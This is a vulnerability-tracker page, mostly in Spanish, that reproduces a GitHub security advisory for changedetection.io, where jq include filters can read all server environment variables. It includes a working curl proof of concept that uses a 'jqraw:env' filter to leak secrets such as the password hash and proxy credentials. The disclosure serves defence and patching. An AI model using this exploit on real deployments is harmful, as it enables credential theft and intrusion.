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Advisory · GitHub · PyPI · changedetection-io

GHSA-58R7-4WR5-HFX8

Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters

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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -1 d de la divulgación
Exposición237 dDesde la divulgación, 27 mar 2026, 2:11 p. m.
Detección234 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 0.54.7
Monitoreo
Detectada
26 mar 26
27 mar 26
13 jul 26
17 nov 26
19 nov 26
26 mar 26
25 may 26
23 jul 26
21 sept 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 0.54.7 changedetection-io · -1 d desde divulgación
Divulgación Publicada GHSA-58R7-4WR5-HFX8 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The `jq:` and `jqraw:` include filter expressions allow use of the jq `env` builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including `SALTED_PASS`, `PLAYWRIGHT_DRIVER_URL`, `HTTP_PROXY`, and any secrets passed as env vars to the container.

Details

Vulnerable file: `changedetectionio/html_tools.py`, lines 380-388

User-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins:

if json_filter.startswith("jq:"):
    jq_expression = jq.compile(json_filter.removeprefix("jq:"))
    match = jq_expression.input(json_data).all()
    return _get_stripped_text_from_json_match(match)

if json_filter.startswith("jqraw:"):
    jq_expression = jq.compile(json_filter.removeprefix("jqraw:"))
    match = jq_expression.input(json_data).all()
    return '\n'.join(str(item) for item in match)

The form validator at `forms.py:670-673` only checks that the expression compiles (`jq.compile(input)`) — it does not block dangerous functions. The jq `env` builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process.

PoC

Step 1 — Create a watch for any JSON endpoint with `jqraw:env` as the include filter:

curl -X POST http://target:5000/api/v1/watch \
  -H "Content-Type: application/json" \
  -H "x-api-key: <api-key>" \
  -d '{
    "url": "https://httpbin.org/json",
    "include_filters": ["jqraw:env"],
    "time_between_check": {"seconds": 30}
  }'

If no password or API key is set (the default), no authentication is needed.

Step 2 — Wait for the watch to be checked, or trigger a recheck:

curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>"

Step 3 — The processed text file on disk now contains all environment variables:

{'SALTED_PASS': '...hashed password...', 'PLAYWRIGHT_DRIVER_URL': 'ws://browser:3000',
 'HTTP_PROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash',
 'HOME': '/root', 'PATH': '...', 'WERKZEUG_SERVER_FD': '22',
 ... and all other env vars}

The data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured.

Confirmed on v0.54.6: The processed text file stored 46 environment variables from the server process.

Impact
  • Secret exposure: Leaks `SALTED_PASS` (password hash used for authentication), enabling offline cracking or direct session forgery
  • Infrastructure credential theft: Leaks `PLAYWRIGHT_DRIVER_URL`, `WEBDRIVER_URL`, `HTTP_PROXY`/`HTTPS_PROXY`, database connection strings, and any API keys or tokens passed as environment variables
  • Cascading access: Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems
  • Affects all deployments using jq: Any instance where the Python `jq` module is installed (standard in Docker deployments) is vulnerable
  • No authentication required by default: changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
changedetection-io< 0.54.7
0.54.7
0.70.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypichangedetection-io
Corregida 0.54.7 -1 d 0.70.3 no afectada
Versiones corregidas0.54.7
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-33981
Otrahttps://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-58r7-4wr5-hfx8
Otrahttps://github.com/dgtlmoon/changedetection.io/commit/65517a9c74a0cbe1a4661314470b28131ef5557f
Otrahttps://github.com/dgtlmoon/changedetection.io
Otrahttps://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.7

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